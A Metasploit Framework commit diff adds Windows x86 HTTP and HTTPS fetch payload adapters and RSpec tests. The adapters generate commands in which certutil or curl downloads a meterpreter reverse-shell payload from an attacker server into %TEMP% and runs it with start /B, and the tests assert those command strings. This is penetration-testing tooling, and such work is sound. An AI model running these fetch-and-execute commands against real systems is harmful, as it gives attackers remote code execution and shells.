Merge pull request #21172 from bwatters-r7/feature/x86_windows_fetch

Add HTTP and HTTPS fetch payloads for Windows x86
This commit is contained in:
Spencer McIntyre
2026-04-01 14:34:36 -04:00
committed by GitHub
13 changed files with 765 additions and 5 deletions
-1
View File
@@ -384,7 +384,6 @@ module Msf::Payload::Adapter::Fetch
# I don't think there is a way to disable cert check in certutil....
print_error('CERTUTIL binary does not support insecure mode')
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using CERTUTIL')
get_file_cmd = "certutil -urlcache -f https://#{download_uri} #{_remote_destination}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
@@ -4,7 +4,7 @@ module Msf::Payload::Adapter::Fetch::WindowsOptions
super
register_options(
[
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL TFTP CERTUTIL }]),
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CERTUTIL', %w{ CURL TFTP CERTUTIL }]),
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}),
Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL]]),
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces.', '%TEMP%'], regex:/^[\S]*$/)
@@ -13,7 +13,6 @@ module MetasploitModule
info,
'Name' => 'HTTP Fetch',
'Description' => 'Fetch and execute an x64 payload from an HTTP server.',
'DefaultOptions' => { 'FETCH_COMMAND' => 'CERTUTIL' },
'Author' => 'Brendan Watters',
'Platform' => 'win',
'Arch' => ARCH_CMD,
@@ -25,7 +24,7 @@ module MetasploitModule
deregister_options('FETCH_COMMAND')
register_options(
[
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CERTUTIL', %w[CURL TFTP CERTUTIL]])
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CERTUTIL', %w[CURL CERTUTIL]])
]
)
end
@@ -0,0 +1,31 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
include Msf::Payload::Adapter::Fetch::HTTP
include Msf::Payload::Adapter::Fetch::WindowsOptions
def initialize(info = {})
super(
update_info(
info,
'Name' => 'HTTP Fetch',
'Description' => 'Fetch and execute an x86 payload from an HTTP server.',
'Author' => 'Brendan Watters',
'Platform' => 'win',
'Arch' => ARCH_CMD,
'License' => MSF_LICENSE,
'AdaptedArch' => ARCH_X86,
'AdaptedPlatform' => 'win'
)
)
deregister_options('FETCH_COMMAND')
register_options(
[
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CERTUTIL', %w[CURL CERTUTIL]])
]
)
end
end
@@ -21,5 +21,12 @@ module MetasploitModule
'AdaptedPlatform' => 'win'
)
)
deregister_options('FETCH_COMMAND')
register_options(
[
# Certutil does not support insecure mode
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL]])
]
)
end
end
@@ -0,0 +1,32 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
include Msf::Payload::Adapter::Fetch::Https
include Msf::Payload::Adapter::Fetch::WindowsOptions
def initialize(info = {})
super(
update_info(
info,
'Name' => 'HTTPS Fetch',
'Description' => 'Fetch and execute an x86 payload from an HTTPS server.',
'Author' => 'Brendan Watters',
'Platform' => 'win',
'Arch' => ARCH_CMD,
'License' => MSF_LICENSE,
'AdaptedArch' => ARCH_X86,
'AdaptedPlatform' => 'win'
)
)
deregister_options('FETCH_COMMAND')
register_options(
[
# Certutil does not support insecure mode
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL]])
]
)
end
end
@@ -20,7 +20,7 @@ module MetasploitModule
'AdaptedPlatform' => 'win'
)
)
deregister_options('FETCH_DELETE', 'FETCH_SRVPORT', 'FETCH_WRITABLE_DIR', 'FETCH_FILENAME')
deregister_options('FETCH_COMMAND', 'FETCH_DELETE', 'FETCH_SRVPORT', 'FETCH_WRITABLE_DIR', 'FETCH_FILENAME')
end
def srvport
@@ -21,5 +21,11 @@ module MetasploitModule
'AdaptedPlatform' => 'win'
)
)
deregister_options('FETCH_COMMAND')
register_options(
[
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'TFTP', %w[TFTP]])
]
)
end
end
@@ -0,0 +1,182 @@
require 'rspec'
RSpec.describe 'cmd/windows/http/x64' do
include_context 'Msf::Simple::Framework#modules loading'
# Adapter payloads cannot be instantiated standalone; they must be combined
# with a compatible single payload. We use windows/x64/meterpreter_reverse_tcp
# (ARCH_X64, Platform=win) so the adapter's generate_fetch_commands can be
# exercised.
let(:subject) do
load_and_create_module(
module_type: 'payload',
reference_name: 'cmd/windows/http/x64/meterpreter_reverse_tcp',
ancestor_reference_names: [
'adapters/cmd/windows/http/x64',
'singles/windows/x64/meterpreter_reverse_tcp'
]
)
end
let(:lhost) { '192.168.1.100' }
let(:lport) { '4444' }
let(:fetch_srvhost) { '192.168.1.100' }
let(:fetch_srvport) { 8080 }
let(:fetch_uripath) { 'testpayload' }
let(:fetch_command) { 'CERTUTIL' }
let(:fetch_filename) { 'payload' }
let(:fetch_writable_dir) { '%TEMP%' }
let(:datastore_values) do
{
'LHOST' => lhost,
'LPORT' => lport,
'FETCH_SRVHOST' => fetch_srvhost,
'FETCH_SRVPORT' => fetch_srvport,
'FETCH_URIPATH' => fetch_uripath,
'FETCH_COMMAND' => fetch_command,
'FETCH_FILENAME' => fetch_filename,
'FETCH_WRITABLE_DIR' => fetch_writable_dir
}
end
before(:each) do
subject.datastore.merge!(datastore_values)
end
describe 'module metadata' do
it 'includes HTTP Fetch in the name' do
expect(subject.name).to include('HTTP Fetch')
end
it 'targets the Windows platform' do
expect(subject.platform.platforms).to include(Msf::Module::Platform::Windows)
end
it 'uses CMD arch' do
expect(subject.arch).to include(ARCH_CMD)
end
it 'adapts x64 payloads' do
expect(subject.send(:module_info)['AdaptedArch']).to eq(ARCH_X64)
end
it 'has win as the adapted platform' do
expect(subject.send(:module_info)['AdaptedPlatform']).to eq('win')
end
it 'adapts x64 and not x86 payloads' do
expect(subject.send(:module_info)['AdaptedArch']).not_to eq(ARCH_X86)
end
end
describe 'FETCH_COMMAND option' do
it 'defaults to CERTUTIL' do
fresh_subject = load_and_create_module(
module_type: 'payload',
reference_name: 'cmd/windows/http/x64/meterpreter_reverse_tcp',
ancestor_reference_names: [
'adapters/cmd/windows/http/x64',
'singles/windows/x64/meterpreter_reverse_tcp'
]
)
expect(fresh_subject.datastore['FETCH_COMMAND']).to eq('CERTUTIL')
end
it 'accepts CURL as a valid value' do
expect(subject.options['FETCH_COMMAND'].valid?('CURL')).to be(true)
end
it 'rejects TFTP as an invalid value' do
expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(false)
end
it 'accepts CERTUTIL as a valid value' do
expect(subject.options['FETCH_COMMAND'].valid?('CERTUTIL')).to be(true)
end
it 'rejects WGET as an invalid value' do
expect(subject.options['FETCH_COMMAND'].valid?('WGET')).to be(false)
end
it 'rejects FTP as an invalid value' do
expect(subject.options['FETCH_COMMAND'].valid?('FTP')).to be(false)
end
end
describe '#generate_fetch_commands' do
context 'with CERTUTIL (default)' do
let(:fetch_command) { 'CERTUTIL' }
it 'generates a certutil download command over HTTP' do
cmd = subject.generate_fetch_commands
expect(cmd).to include('certutil -urlcache -f http://')
end
it 'includes the fetch server host and port in the URL' do
cmd = subject.generate_fetch_commands
expect(cmd).to include("#{fetch_srvhost}:#{fetch_srvport}")
end
it 'includes the URI path in the download URL' do
cmd = subject.generate_fetch_commands
expect(cmd).to include(fetch_uripath)
end
it 'includes the remote destination path' do
cmd = subject.generate_fetch_commands
expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe")
end
it 'executes the payload with start /B' do
cmd = subject.generate_fetch_commands
expect(cmd).to include('start /B')
end
it 'does not include del when FETCH_DELETE is false' do
subject.datastore['FETCH_DELETE'] = false
cmd = subject.generate_fetch_commands
expect(cmd).not_to include(' del ')
end
it 'includes del when FETCH_DELETE is true' do
subject.datastore['FETCH_DELETE'] = true
cmd = subject.generate_fetch_commands
expect(cmd).to include(' del ')
end
end
context 'with CURL' do
let(:fetch_command) { 'CURL' }
it 'generates a curl download command over HTTP' do
cmd = subject.generate_fetch_commands
expect(cmd).to include('curl -so')
expect(cmd).to include("http://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}")
end
it 'includes the remote destination path' do
cmd = subject.generate_fetch_commands
expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe")
end
it 'executes the payload with start /B' do
cmd = subject.generate_fetch_commands
expect(cmd).to include('start /B')
end
end
end
describe '#fetch_protocol' do
it 'returns HTTP' do
expect(subject.fetch_protocol).to eq('HTTP')
end
end
describe '#windows?' do
it 'returns true for this Windows platform module' do
expect(subject.windows?).to be(true)
end
end
end
@@ -0,0 +1,182 @@
require 'rspec'
RSpec.describe 'cmd/windows/http/x86' do
include_context 'Msf::Simple::Framework#modules loading'
# Adapter payloads cannot be instantiated standalone; they must be combined
# with a compatible single payload. We use windows/meterpreter_reverse_tcp
# (ARCH_X86, Platform=win) so the adapter's generate_fetch_commands can be
# exercised.
let(:subject) do
load_and_create_module(
module_type: 'payload',
reference_name: 'cmd/windows/http/x86/meterpreter_reverse_tcp',
ancestor_reference_names: [
'adapters/cmd/windows/http/x86',
'singles/windows/meterpreter_reverse_tcp'
]
)
end
let(:lhost) { '192.168.1.100' }
let(:lport) { '4444' }
let(:fetch_srvhost) { '192.168.1.100' }
let(:fetch_srvport) { 8080 }
let(:fetch_uripath) { 'testpayload' }
let(:fetch_command) { 'CERTUTIL' }
let(:fetch_filename) { 'payload' }
let(:fetch_writable_dir) { '%TEMP%' }
let(:datastore_values) do
{
'LHOST' => lhost,
'LPORT' => lport,
'FETCH_SRVHOST' => fetch_srvhost,
'FETCH_SRVPORT' => fetch_srvport,
'FETCH_URIPATH' => fetch_uripath,
'FETCH_COMMAND' => fetch_command,
'FETCH_FILENAME' => fetch_filename,
'FETCH_WRITABLE_DIR' => fetch_writable_dir
}
end
before(:each) do
subject.datastore.merge!(datastore_values)
end
describe 'module metadata' do
it 'includes HTTP Fetch in the name' do
expect(subject.name).to include('HTTP Fetch')
end
it 'targets the Windows platform' do
expect(subject.platform.platforms).to include(Msf::Module::Platform::Windows)
end
it 'uses CMD arch' do
expect(subject.arch).to include(ARCH_CMD)
end
it 'adapts x86 payloads' do
expect(subject.send(:module_info)['AdaptedArch']).to eq(ARCH_X86)
end
it 'has win as the adapted platform' do
expect(subject.send(:module_info)['AdaptedPlatform']).to eq('win')
end
it 'adapts x86 and not x64 payloads' do
expect(subject.send(:module_info)['AdaptedArch']).not_to eq(ARCH_X64)
end
end
describe 'FETCH_COMMAND option' do
it 'defaults to CERTUTIL' do
fresh_subject = load_and_create_module(
module_type: 'payload',
reference_name: 'cmd/windows/http/x86/meterpreter_reverse_tcp',
ancestor_reference_names: [
'adapters/cmd/windows/http/x86',
'singles/windows/meterpreter_reverse_tcp'
]
)
expect(fresh_subject.datastore['FETCH_COMMAND']).to eq('CERTUTIL')
end
it 'accepts CURL as a valid value' do
expect(subject.options['FETCH_COMMAND'].valid?('CURL')).to be(true)
end
it 'rejects TFTP as an invalid value' do
expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(false)
end
it 'accepts CERTUTIL as a valid value' do
expect(subject.options['FETCH_COMMAND'].valid?('CERTUTIL')).to be(true)
end
it 'rejects WGET as an invalid value' do
expect(subject.options['FETCH_COMMAND'].valid?('WGET')).to be(false)
end
it 'rejects FTP as an invalid value' do
expect(subject.options['FETCH_COMMAND'].valid?('FTP')).to be(false)
end
end
describe '#generate_fetch_commands' do
context 'with CERTUTIL (default)' do
let(:fetch_command) { 'CERTUTIL' }
it 'generates a certutil download command over HTTP' do
cmd = subject.generate_fetch_commands
expect(cmd).to include('certutil -urlcache -f http://')
end
it 'includes the fetch server host and port in the URL' do
cmd = subject.generate_fetch_commands
expect(cmd).to include("#{fetch_srvhost}:#{fetch_srvport}")
end
it 'includes the URI path in the download URL' do
cmd = subject.generate_fetch_commands
expect(cmd).to include(fetch_uripath)
end
it 'includes the remote destination path' do
cmd = subject.generate_fetch_commands
expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe")
end
it 'executes the payload with start /B' do
cmd = subject.generate_fetch_commands
expect(cmd).to include('start /B')
end
it 'does not include del when FETCH_DELETE is false' do
subject.datastore['FETCH_DELETE'] = false
cmd = subject.generate_fetch_commands
expect(cmd).not_to include(' del ')
end
it 'includes del when FETCH_DELETE is true' do
subject.datastore['FETCH_DELETE'] = true
cmd = subject.generate_fetch_commands
expect(cmd).to include(' del ')
end
end
context 'with CURL' do
let(:fetch_command) { 'CURL' }
it 'generates a curl download command over HTTP' do
cmd = subject.generate_fetch_commands
expect(cmd).to include('curl -so')
expect(cmd).to include("http://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}")
end
it 'includes the remote destination path' do
cmd = subject.generate_fetch_commands
expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe")
end
it 'executes the payload with start /B' do
cmd = subject.generate_fetch_commands
expect(cmd).to include('start /B')
end
end
end
describe '#fetch_protocol' do
it 'returns HTTP' do
expect(subject.fetch_protocol).to eq('HTTP')
end
end
describe '#windows?' do
it 'returns true for this Windows platform module' do
expect(subject.windows?).to be(true)
end
end
end
@@ -0,0 +1,153 @@
require 'rspec'
RSpec.describe 'cmd/windows/https/x64' do
include_context 'Msf::Simple::Framework#modules loading'
# Adapter payloads cannot be instantiated standalone; they must be combined
# with a compatible single payload. We use windows/x64/meterpreter_reverse_tcp
# (ARCH_X64, Platform=win) so the adapter's generate_fetch_commands can be
# exercised.
let(:subject) do
load_and_create_module(
module_type: 'payload',
reference_name: 'cmd/windows/https/x64/meterpreter_reverse_tcp',
ancestor_reference_names: [
'adapters/cmd/windows/https/x64',
'singles/windows/x64/meterpreter_reverse_tcp'
]
)
end
let(:lhost) { '192.168.1.100' }
let(:lport) { '4444' }
let(:fetch_srvhost) { '192.168.1.100' }
let(:fetch_srvport) { 8443 }
let(:fetch_uripath) { 'testpayload' }
let(:fetch_command) { 'CURL' }
let(:fetch_filename) { 'payload' }
let(:fetch_writable_dir) { '%TEMP%' }
let(:datastore_values) do
{
'LHOST' => lhost,
'LPORT' => lport,
'FETCH_SRVHOST' => fetch_srvhost,
'FETCH_SRVPORT' => fetch_srvport,
'FETCH_URIPATH' => fetch_uripath,
'FETCH_COMMAND' => fetch_command,
'FETCH_FILENAME' => fetch_filename,
'FETCH_WRITABLE_DIR' => fetch_writable_dir
}
end
before(:each) do
subject.datastore.merge!(datastore_values)
end
describe 'module metadata' do
it 'includes HTTPS Fetch in the name' do
expect(subject.name).to include('HTTPS Fetch')
end
it 'targets the Windows platform' do
expect(subject.platform.platforms).to include(Msf::Module::Platform::Windows)
end
it 'uses CMD arch' do
expect(subject.arch).to include(ARCH_CMD)
end
it 'adapts x64 payloads' do
expect(subject.send(:module_info)['AdaptedArch']).to eq(ARCH_X64)
end
it 'has win as the adapted platform' do
expect(subject.send(:module_info)['AdaptedPlatform']).to eq('win')
end
it 'adapts x64 and not x86 payloads' do
expect(subject.send(:module_info)['AdaptedArch']).not_to eq(ARCH_X86)
end
end
describe 'FETCH_COMMAND option' do
it 'defaults to CURL' do
fresh_subject = load_and_create_module(
module_type: 'payload',
reference_name: 'cmd/windows/https/x64/meterpreter_reverse_tcp',
ancestor_reference_names: [
'adapters/cmd/windows/https/x64',
'singles/windows/x64/meterpreter_reverse_tcp'
]
)
expect(fresh_subject.datastore['FETCH_COMMAND']).to eq('CURL')
end
it 'accepts CURL as a valid value' do
expect(subject.options['FETCH_COMMAND'].valid?('CURL')).to be(true)
end
it 'rejects TFTP as an invalid value' do
expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(false)
end
it 'rejects CERTUTIL as an invalid value' do
expect(subject.options['FETCH_COMMAND'].valid?('CERTUTIL')).to be(false)
end
it 'rejects WGET as an invalid value' do
expect(subject.options['FETCH_COMMAND'].valid?('WGET')).to be(false)
end
it 'rejects FTP as an invalid value' do
expect(subject.options['FETCH_COMMAND'].valid?('FTP')).to be(false)
end
end
describe '#generate_fetch_commands' do
context 'with CURL (default)' do
let(:fetch_command) { 'CURL' }
it 'generates a curl download command over HTTPS' do
cmd = subject.generate_fetch_commands
expect(cmd).to include('curl -sko')
expect(cmd).to include("https://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}")
end
it 'includes the remote destination path' do
cmd = subject.generate_fetch_commands
expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe")
end
it 'executes the payload with start /B' do
cmd = subject.generate_fetch_commands
expect(cmd).to include('start /B')
end
it 'does not include del when FETCH_DELETE is false' do
subject.datastore['FETCH_DELETE'] = false
cmd = subject.generate_fetch_commands
expect(cmd).not_to include(' del ')
end
it 'includes del when FETCH_DELETE is true' do
subject.datastore['FETCH_DELETE'] = true
cmd = subject.generate_fetch_commands
expect(cmd).to include(' del ')
end
end
end
describe '#fetch_protocol' do
it 'returns HTTPS' do
expect(subject.fetch_protocol).to eq('HTTPS')
end
end
describe '#windows?' do
it 'returns true for this Windows platform module' do
expect(subject.windows?).to be(true)
end
end
end
@@ -0,0 +1,153 @@
require 'rspec'
RSpec.describe 'cmd/windows/https/x86' do
include_context 'Msf::Simple::Framework#modules loading'
# Adapter payloads cannot be instantiated standalone; they must be combined
# with a compatible single payload. We use windows/meterpreter_reverse_tcp
# (ARCH_X86, Platform=win) so the adapter's generate_fetch_commands can be
# exercised.
let(:subject) do
load_and_create_module(
module_type: 'payload',
reference_name: 'cmd/windows/https/x86/meterpreter_reverse_tcp',
ancestor_reference_names: [
'adapters/cmd/windows/https/x86',
'singles/windows/meterpreter_reverse_tcp'
]
)
end
let(:lhost) { '192.168.1.100' }
let(:lport) { '4444' }
let(:fetch_srvhost) { '192.168.1.100' }
let(:fetch_srvport) { 8443 }
let(:fetch_uripath) { 'testpayload' }
let(:fetch_command) { 'CURL' }
let(:fetch_filename) { 'payload' }
let(:fetch_writable_dir) { '%TEMP%' }
let(:datastore_values) do
{
'LHOST' => lhost,
'LPORT' => lport,
'FETCH_SRVHOST' => fetch_srvhost,
'FETCH_SRVPORT' => fetch_srvport,
'FETCH_URIPATH' => fetch_uripath,
'FETCH_COMMAND' => fetch_command,
'FETCH_FILENAME' => fetch_filename,
'FETCH_WRITABLE_DIR' => fetch_writable_dir
}
end
before(:each) do
subject.datastore.merge!(datastore_values)
end
describe 'module metadata' do
it 'includes HTTPS Fetch in the name' do
expect(subject.name).to include('HTTPS Fetch')
end
it 'targets the Windows platform' do
expect(subject.platform.platforms).to include(Msf::Module::Platform::Windows)
end
it 'uses CMD arch' do
expect(subject.arch).to include(ARCH_CMD)
end
it 'adapts x86 payloads' do
expect(subject.send(:module_info)['AdaptedArch']).to eq(ARCH_X86)
end
it 'has win as the adapted platform' do
expect(subject.send(:module_info)['AdaptedPlatform']).to eq('win')
end
it 'adapts x86 and not x64 payloads' do
expect(subject.send(:module_info)['AdaptedArch']).not_to eq(ARCH_X64)
end
end
describe 'FETCH_COMMAND option' do
it 'defaults to CURL' do
fresh_subject = load_and_create_module(
module_type: 'payload',
reference_name: 'cmd/windows/https/x86/meterpreter_reverse_tcp',
ancestor_reference_names: [
'adapters/cmd/windows/https/x86',
'singles/windows/meterpreter_reverse_tcp'
]
)
expect(fresh_subject.datastore['FETCH_COMMAND']).to eq('CURL')
end
it 'accepts CURL as a valid value' do
expect(subject.options['FETCH_COMMAND'].valid?('CURL')).to be(true)
end
it 'rejects TFTP as an invalid value' do
expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(false)
end
it 'rejects CERTUTIL as an invalid value' do
expect(subject.options['FETCH_COMMAND'].valid?('CERTUTIL')).to be(false)
end
it 'rejects WGET as an invalid value' do
expect(subject.options['FETCH_COMMAND'].valid?('WGET')).to be(false)
end
it 'rejects FTP as an invalid value' do
expect(subject.options['FETCH_COMMAND'].valid?('FTP')).to be(false)
end
end
describe '#generate_fetch_commands' do
context 'with CURL (default)' do
let(:fetch_command) { 'CURL' }
it 'generates a curl download command over HTTPS' do
cmd = subject.generate_fetch_commands
expect(cmd).to include('curl -sko')
expect(cmd).to include("https://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}")
end
it 'includes the remote destination path' do
cmd = subject.generate_fetch_commands
expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe")
end
it 'executes the payload with start /B' do
cmd = subject.generate_fetch_commands
expect(cmd).to include('start /B')
end
it 'does not include del when FETCH_DELETE is false' do
subject.datastore['FETCH_DELETE'] = false
cmd = subject.generate_fetch_commands
expect(cmd).not_to include(' del ')
end
it 'includes del when FETCH_DELETE is true' do
subject.datastore['FETCH_DELETE'] = true
cmd = subject.generate_fetch_commands
expect(cmd).to include(' del ')
end
end
end
describe '#fetch_protocol' do
it 'returns HTTPS' do
expect(subject.fetch_protocol).to eq('HTTPS')
end
end
describe '#windows?' do
it 'returns true for this Windows platform module' do
expect(subject.windows?).to be(true)
end
end
end
+16
View File
@@ -1390,6 +1390,14 @@ RSpec.describe 'modules/payloads', :content do
reference_name: 'cmd/windows/http/x64'
end
context 'cmd/windows/http/x86' do
it_should_behave_like 'payload is not cached',
ancestor_reference_names: [
'adapters/cmd/windows/http/x86'
],
reference_name: 'cmd/windows/http/x86'
end
context 'cmd/windows/https/x64' do
it_should_behave_like 'payload is not cached',
ancestor_reference_names: [
@@ -1398,6 +1406,14 @@ RSpec.describe 'modules/payloads', :content do
reference_name: 'cmd/windows/https/x64'
end
context 'cmd/windows/https/x86' do
it_should_behave_like 'payload is not cached',
ancestor_reference_names: [
'adapters/cmd/windows/https/x86'
],
reference_name: 'cmd/windows/https/x86'
end
context 'cmd/windows/powershell' do
it_should_behave_like 'payload is not cached',
ancestor_reference_names: [